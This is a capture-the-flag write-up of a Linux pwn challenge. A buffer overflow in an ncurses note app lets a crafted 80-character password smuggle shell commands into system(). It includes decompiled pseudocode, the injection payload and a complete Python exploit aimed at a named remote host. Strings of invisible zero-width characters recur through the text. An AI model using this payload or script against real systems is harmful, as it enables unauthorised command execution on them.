← Back to Writeups
CUSTOMMediumpwn

По секрету всему свету

XESXOR9/10/20265 min read
#pwn#custom#medium#ghidra_decompilation#ncurses_protocol_over_tcp#sfx_archive_unpacking#shell_metacharacter_injection_#stack_variable_overwrite#linux

По секрету всему свету

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-07 | Status: Solved Techniques: ghidra_decompilation, ncurses_protocol_over_tcp, sfx_archive_unpacking, shell_metacharacter_injection_via_system, stack_variable_overwrite

Summary

Task: WinRAR SFX containing a stripped ELF64 ncurses note-taking app with fake 'NOP encryption' (plaintext storage); read_note() has a buffer overflow where password[79] overwrites an adjacent flag variable. Solution: send 80-char payload ending with '}' to trigger system('cat ' + password), inject shell commands via semicolons to search the filesystem for the flag.

По секрету всему свету — hackerlab

Description

Нам в руки попал файл с серверов Secure Notes Company. Многим уже давно не нравилась их лицензия, поэтому следует изучить, что за шифрование "NOP" там используется.

We receive task.zip containing SNFE.exe — a WinRAR SFX self-extracting archive. Inside is SNFE.elf, a stripped ELF 64-bit ncurses-based "Secure Notes For Everyone" application, and a LICENSE file mentioning the proprietary "NOP" encryption algorithm. A remote instance runs at 62.173.140.174:17900. The goal is to find the flag hidden on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Step 1: Unpacking the SFX archive

SNFE.exe is a WinRAR SFX archive. Extracting with 7z x SNFE.exe yields:

  • SNFE.elf — ELF 64-bit LSB PIE executable, x86-64, dynamically linked (ncurses + libc), stripped
  • LICENSE — License agreement in Russian referencing the "NOP" encryption algorithm

Step 2: Reverse engineering with Ghidra

The binary implements a menu-driven ncurses TUI:

  1. Create an encrypted note with a password — writes plaintext to a file
  2. Enter the password and read the encrypted note — reads a file (VULNERABLE)
  3. Edit the file after entering the password — overwrites a file
  4. Exit ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key function map

OffsetFunctionDescription
0x1999mainncurses init, menu loop, srand(time(0))
0x149dcreate_noteMenu 1: generate filename, write note via fputs()
0x1661read_noteMenu 2: read note — VULNERABLE
0x1800edit_noteMenu 3: edit note
0x1434generate_filename32 random uppercase letters via rand() % 26 + 'A'
0x15e4read_file_with_catsystem("cat " + filename) — DANGEROUS
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

"NOP" encryption is literally a NOP

The "NOP" encryption algorithm is a joke — it does nothing. Notes are stored as plaintext via fputs(). The name is a pun on the x86 NOP instruction. The "password" shown to the user is actually the randomly generated filename (32 uppercase letters). Security through obscurity only.

Step 3: The vulnerability — buffer overflow + command injection

The read_note() function at offset 0x1661 has a critical stack layout issue:

Stack layout of read_note():
  rbp-0x50:    char password[80]   ← user input buffer
  rbp-0x01:    char flag (1 byte)  ← overlaps with password[79]!
  rbp-0x10:    FILE* fp
  rbp-0x19060: char readbuf[0x19000]

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The bug: wgetnstr(stdscr, password, 0x50) reads up to 80 characters into the 80-byte buffer starting at rbp-0x50. The flag variable at rbp-0x01 is the last byte of the password buffer (password[79]). It is initialized to 0 before wgetnstr, but entering exactly 80 characters overwrites it.

Exploitation path: If password[79] == '}' (0x7d), the check at offset 0x16b9 passes, and the code calls read_file_with_cat(password), which executes:

c
system("cat " + password);

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Since the entire 80-character password string (including shell metacharacters) is concatenated into the system() command, this gives arbitrary command injection.

Pseudocode of the vulnerable function:

c
void read_note() {
    char password[80];  // rbp-0x50
    char flag = 0;      // rbp-0x01 = password[79]

    printw("Enter the password to access the file: ");
    wgetnstr(stdscr, password, 0x50);  // reads up to 80 chars

    if (flag == '}') {  // 0x7d — triggered by password[79]
        read_file_with_cat(password);  // system("cat " + password)
        return;
    }
    // ... normal file reading path ...
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Additional overflow in read_file_with_cat()

c
void read_file_with_cat(char *filename) {
    char cmd[50] = "cat ";
    strncat(cmd, filename, strlen(filename));  // 80 chars into 50-byte buffer!
    system(cmd);
}

The cmd buffer is only 50 bytes, but up to 80 characters of filename are appended (plus 4 bytes of "cat "). This overflows the stack buffer by ~34 bytes, but system() is called before the function returns, so the command injection still executes successfully.

Solution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Crafting the payload

The payload must be exactly 80 characters, with:

  • Shell commands using ; as separator
  • # to comment out trailing garbage
  • Last character (position 79) must be } to trigger the vulnerable path
/dev/null;grep -rn CODEBY / 2>/dev/null;#AAAA...}

This results in the shell executing:

bash
cat /dev/null;grep -rn CODEBY / 2>/dev/null;#AAAA...}

Which breaks down as:

  1. cat /dev/null — reads empty file, succeeds silently
  2. grep -rn CODEBY / 2>/dev/null — recursively searches the entire filesystem for the flag
  3. #AAAA...} — treated as a comment, ignored ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit script

python
#!/usr/bin/env python3
"""
SNFE - Secure Notes For Everyone! - Exploit
CTF: hackerlab, Task: po_sekretu

Vulnerability: Buffer overflow in read_note() function
  - password buffer (80 bytes) overlaps with flag variable at last byte
  - If password[79] == '}' (0x7d), triggers system("cat " + password)
  - Command injection via shell metacharacters in password
"""

import socket
import time
import re

HOST = "62.173.140.174"
PORT = 17900


def exploit(cmd_str="grep -rn CODEBY / 2>/dev/null"):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((HOST, PORT))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    def recv_all():
        data = b""
        while True:
            try:
                chunk = s.recv(4096)
                if not chunk:
                    break
                data += chunk
            except socket.timeout:
                break
        return data

    # Wait for initial ncurses menu
    time.sleep(2)
    recv_all()

    # Navigate to option 2 (Read note) via arrow down
    s.send(b"\x1b[B")  # Arrow Down
    time.sleep(0.5)
    recv_all()

    # Select option 2
    s.send(b"\n")
    time.sleep(1)
    recv_all()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Build 80-char payload: /dev/null;<cmd>;#<padding>}
    prefix = "/dev/null;" + cmd_str + ";#"
    padding_len = 80 - len(prefix) - 1  # -1 for trailing '}'
    assert padding_len >= 0, f"Command too long! Need {len(prefix)+1} chars, max 80"
    payload = prefix + "A" * padding_len + "}"
    assert len(payload) == 80

    print(f"[*] Sending payload ({len(payload)} chars): {payload}")
    s.send(payload.encode() + b"\n")

    # Collect output
    time.sleep(3)
    result = recv_all()
    time.sleep(2)
    more = recv_all()
    result += more
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Strip ANSI escape sequences for clean output
    clean = re.sub(rb"\x1b\[[^a-zA-Z]*[a-zA-Z]", b"", result)
    clean = re.sub(rb"\x1b[^a-zA-Z]", b"", clean)
    print(clean.decode("utf-8", errors="replace"))

    s.close()


if __name__ == "__main__":
    exploit()

Result

The grep command found the flag at /tmp/.root_backup/.root_lock:

My password: CODEBY{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍